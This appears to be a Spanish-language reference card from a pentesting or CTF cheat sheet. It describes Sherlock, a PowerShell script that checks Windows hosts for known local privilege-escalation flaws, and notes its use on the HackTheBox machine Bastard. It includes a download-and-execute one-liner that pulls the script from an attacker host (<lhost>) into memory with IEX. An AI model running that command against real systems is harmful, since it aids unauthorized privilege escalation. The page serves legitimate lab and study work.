Sherlock
Busca vulnerabilidades de escalada locales de Windows desde PowerShell.
Script de PowerShell que revisa un Windows en busca de vulnerabilidades de escalada local conocidas (MS10-015, MS16-032, etc.) y dice a cuáles es probablemente vulnerable.
Familia Escalada de privilegios
Flags Find-AllVulns
Conceptos Windows kernel exploit
Instalación
# Sherlock.ps1 busca CVEs de escalada locales en Windows (heredero: Watson). Traerlo en
# memoria desde Kali y lanzarlo:
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Sherlock.ps1'); Find-AllVulnsComandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.
- BastardHackTheBox